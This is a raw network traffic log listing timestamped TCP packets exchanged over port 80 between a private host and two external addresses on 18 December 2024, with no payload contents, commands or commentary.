Dec 18, 2024 12:00:24.929579020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.929642916 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.929716110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.929764032 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.930697918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.930763006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.930814028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.930941105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.931826115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.931875944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.931916952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.931956053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.932882071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.933006048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.933038950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.933051109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.933991909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.934055090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.934082985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.934120893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.935220003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.935244083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.935286045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.935302019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.936156034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.936307907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.936325073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.936352968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.937383890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.937433958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.937474012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.937520027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.938343048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.938407898 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.938452959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.938493013 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.939618111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.939666986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.939763069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.939806938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.940737963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.940871000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.940923929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.941668034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.941787958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.941827059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.941870928 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.943109989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.943181038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.943248987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.943434954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.943977118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.944031954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.944103956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.944149017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.945099115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.945146084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.945188999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.945234060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.946034908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.946106911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.946146965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.946194887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.947130919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.947180986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.947222948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.947268009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.948273897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.948333979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.948369980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.948556900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.949418068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.949481010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.949515104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.949557066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.950408936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.950464010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.950522900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.950618982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.951491117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.951540947 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.951673031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.951796055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.952651978 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.952702999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.952884912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.953090906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.953829050 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.953882933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.953900099 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.953948975 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.954811096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.954871893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.954906940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.954952002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.955940962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.955990076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.956022978 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.956065893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.957062960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.957107067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.957142115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.957186937 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.958085060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.958132982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.958148956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.958446980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.959183931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.959234953 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.986552000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.093395948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.093442917 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.093506098 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.093556881 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.093831062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.093884945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.093976021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.094053030 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.094923019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.094988108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.095056057 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.095098972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.096055984 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.096116066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.096126080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.096172094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.097126961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.097197056 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.097212076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.097248077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.098150015 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.098207951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.098272085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.098351955 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.099345922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.099404097 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.099471092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.099529982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.100311995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.100394011 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.100439072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.100594044 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.101536036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.101557970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.101600885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.102566004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.102629900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.102761030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.103204966 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.103566885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.103621960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.103696108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.103771925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.104764938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.104823112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.104865074 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.104907036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.105808973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.105868101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.105932951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.106045961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.106901884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.106960058 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.107013941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.107137918 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.108015060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.108076096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.108124018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.108167887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.109082937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.109139919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.109256983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.109309912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.110335112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.110398054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.110435009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.110486031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.111269951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.111332893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.111394882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.111504078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.112668991 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.112706900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.112752914 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.112795115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.113804102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.113842964 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.113876104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.113904953 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.114643097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.114675045 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.114721060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.115649939 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.115710020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.115753889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.115797997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.116755009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.116816998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.116873026 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.117180109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.117896080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.117944002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.118001938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.118046045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.118943930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.119067907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.119069099 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.119108915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.120050907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.120089054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.120105028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.120127916 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.121229887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.121279955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.121289968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.121325016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.122193098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.122278929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.122322083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.122452021 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.123416901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.123477936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.123578072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.123754978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.124444962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.124501944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.124558926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.124607086 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.125514030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.125560999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.125693083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.125859022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.126615047 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.126662016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.126715899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.126789093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.127712011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.127769947 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.127814054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.127851963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.128878117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.128935099 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.128987074 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.129029989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.130026102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.130069017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.130130053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.130999088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.131092072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.131105900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.131150961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.132091999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.132230043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.132587910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.133162975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.133220911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.133405924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.133460045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.134258986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.134321928 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.134321928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.134382010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.135382891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.135447979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.135616064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.136347055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.136507034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.136584997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.136646986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.136728048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.137777090 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.137861967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.137878895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.137922049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.138657093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.138729095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.138772964 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.138829947 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.139867067 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.139947891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.140006065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.140049934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.140863895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.140924931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.141055107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.141134024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.141957045 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.142033100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.142069101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.142096043 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.143111944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.143192053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.143260956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.143377066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.144146919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.144208908 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.144310951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.144499063 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.145240068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.145298004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.145339012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.145382881 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.146303892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.146361113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.146440029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.146893978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.147522926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.147567987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.147689104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.147835016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.148936987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.148983002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.148992062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.149040937 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.149941921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.149996042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.150036097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.150082111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.150927067 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.150971889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.285415888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.285490036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.285561085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.285645008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.285924911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.285973072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.286065102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.286191940 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.287013054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.287061930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.287077904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.287141085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.288070917 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.288173914 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.288219929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.288290024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.289247990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.289321899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.289433956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.289488077 CET	49950	80	192.168.2.6	185.215.113.16
